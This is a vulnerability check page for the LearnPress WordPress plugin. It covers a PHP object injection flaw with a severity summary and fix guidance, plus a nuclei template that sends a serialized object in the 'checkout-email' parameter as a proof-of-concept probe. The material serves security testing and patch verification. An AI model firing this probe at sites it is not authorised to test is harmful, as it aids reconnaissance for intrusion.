LearnPress <= 4.4.9.1 - PHP Object Injection

criticalseverity

9.8CVSS score

2.5%likelihood of exploitation, next 30 days

85%of all CVEs are less likely

Readycheck to confirm it

LearnPress WordPress plugin <= 4.4.10 contains a PHP Object Injection caused by deserialization of untrusted 'checkout-email' parameter in checkout AJAX action, letting unauthenticated attackers inject PHP objects remotely.

Impact

Unauthenticated attackers can inject PHP objects, potentially leading to remote code execution or full system compromise.

Fix

Update to the latest version beyond 4.4.10.

How to confirm it

Send: GET /wp-content/plugins/learnpress/readme.txt
Positive when: status_code == 200 and contains(body, "LearnPress") and compare_versions(plugin_version, "<= 4.4.9.1")
Send: POST /
Positive when: status_code == 200 and contains(body, "LP_AJAX_START") and !contains(body, "invalid_email")

Run it with nuclei: nuclei -id CVE-2026-104736 -u <target>

The full check

id: CVE-2026-104736

info:
  name: LearnPress <= 4.4.9.1 - PHP Object Injection
  author: 0x_Akoko,pdteam
  severity: critical
  description: |
    LearnPress WordPress plugin <= 4.4.10 contains a PHP Object Injection caused by deserialization of untrusted 'checkout-email' parameter in checkout AJAX action, letting unauthenticated attackers inject PHP objects remotely.
  impact: |
    Unauthenticated attackers can inject PHP objects, potentially leading to remote code execution or full system compromise.
  remediation: |
    Update to the latest version beyond 4.4.10.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3e28e008-0ec1-4262-9ac0-6170cf8b8bdf?source=cve
    - https://patchstack.com/database/wordpress/plugin/learnpress/vulnerability/wordpress-learnpress-wordpress-lms-plugin-for-create-and-sell-online-courses-plugin-4-4-10-unauthenticated-php-object-injection-vulnerability
    - https://github.com/murrez/CVE-2026-104736
    - https://nvd.nist.gov/vuln/detail/CVE-2026-104736
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-104736
    epss-score: 0.02524
    epss-percentile: 0.85001
    cwe-id: CWE-502
  metadata:
    verified: true
    max-request: 2
    vendor: thimpress
    product: learnpress
    fofa-query: body="/wp-content/plugins/learnpress/"
    publicwww-query: "/wp-content/plugins/learnpress/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,learnpress,deserialization,php,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/learnpress/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "LearnPress")'
          - 'compare_versions(plugin_version, "<= 4.4.9.1")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: plugin_version
        group: 1
        regex:
          - '(?i)Stable tag:\s*([0-9.]+)'
        internal: true

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        lp-ajax=checkout&checkout-email=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22{{rand_text_alpha(4)}}%22%3Bs%3A3%3A%22poc%22%3B%7D

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "LP_AJAX_START")'
          - '!contains(body, "invalid_email")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from